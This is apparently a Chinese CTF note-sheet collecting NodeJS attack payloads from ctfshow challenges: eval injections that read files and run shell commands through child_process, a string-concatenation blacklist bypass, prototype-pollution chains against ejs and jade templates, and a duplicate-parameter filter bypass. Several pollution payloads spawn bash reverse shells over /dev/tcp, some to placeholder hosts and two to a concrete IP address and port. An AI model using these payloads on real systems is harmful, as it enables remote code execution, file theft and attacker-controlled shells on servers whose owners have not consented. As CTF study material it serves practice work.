前言

刷完了ctfshow上面的所有NodeJS题目,总结一下便于以后翻看。

常用命令

1
2
__filename 读当前文件位置
__dirname 当前文件目录

读取文件

1
2
3
?eval=require('fs').readFileSync('/app/routes/index.js','utf-8')

?eval=require('fs').readFileSync('fl001g.txt','utf-8')

列目录

1
?eval=require('fs').readdirSync('.')

命令执行

1
2
3
4
5
6
7
8
9
?eval=require( 'child_process').execSync( 'ls' )
?eval=require('child_process').execSync('ls').toString()


?eval=require( 'child_process' ).spawnSync( 'cat', [ 'fl00g.txt' ] ).stdout.toString()


?eval=require( 'child_process' ).spawnSync( 'cat', [ 'fl001g.txt' ] ).stdout.toString()

拼接绕过黑名单

1
2
3
?eval=require('child_process')['ex'+'ecSync']('cat f*')

需要url编码,+会被url解析成空格

一些框架的原型链污染

一般是要有 原型链污染 才能对框架进行相应的代码执行。

例如该路由

1
2
3
4
5
6
7
8
var user = new function(){
this.userinfo = new function(){
this.isVIP = false;
this.isAdmin = false;
this.isAuthor = false;
};
}
utils.copy(user.userinfo,req.body);

其中utils是

1
2
3
4
5
6
7
8
9
function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}

ejs

使用ejs的 可能存在rce 测试下payload

1
2
3
4
5
var ejs = require('ejs');

app.set('views', path.join(__dirname, 'views'));
app.engine('html', require('ejs').__express);
app.set('view engine', 'html');

单层就能找到object的

1
2
3
4
5
6
{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx.xx.xxx.xxx/xxxxx 0>&1\"')"}}


{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/xxx 0>&1\"');var __tmp2"}}


双层找到object的

1
{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/124.71.153.145/2233 0>&1\"');var __tmp2"}}}

jade

1
2
3
4
5
var ejs = require('ejs');

app.set('views', path.join(__dirname, 'views'));
app.engine('jade', require('jade').__express);
app.set('view engine', 'jade');

切记自己构造的时候 http请求头是需要使用json的格式的

Content-Type: application/json

单层找到object污染的

1
{"__proto__":{"type":"Code","self":1,"line":"global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/xx/xx 0>&1\"')"}}

双层

1
{"__proto__":{"__proto__":{"type":"Code","self":1,"line":"global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/xx/xx 0>&1\"')"}}}

jade其他的利用链:

成功测试的:

1
"__proto__":{"__proto__": {"type":"Block","nodes":"","compileDebug":1,"self":1,"line":"global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/124.71.153.145/2233 0>&1\"')"}}

网上看的 没测试:

1
2
3
4
1.
{"__proto__":{"self":"true","line":"2,jade_debug[0].filename));return global.process.mainModule.require(\'child_process\').exec(\'calc\')//"}}
2.
{"__proto__":{"self":1,"line":"global.process.mainModule.require(\'child_process\').exec(\'calc\')"}}

Nodejs特性

nodejs会将同名的参数放到一个数组中,当题目过滤了逗号 以及 逗号的url编码(%2c),可以利用这个特性绕过

1
/?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}

c需要url编码成%63的原因:

a-z字母的url编码 其实就是 %加字母的十六进制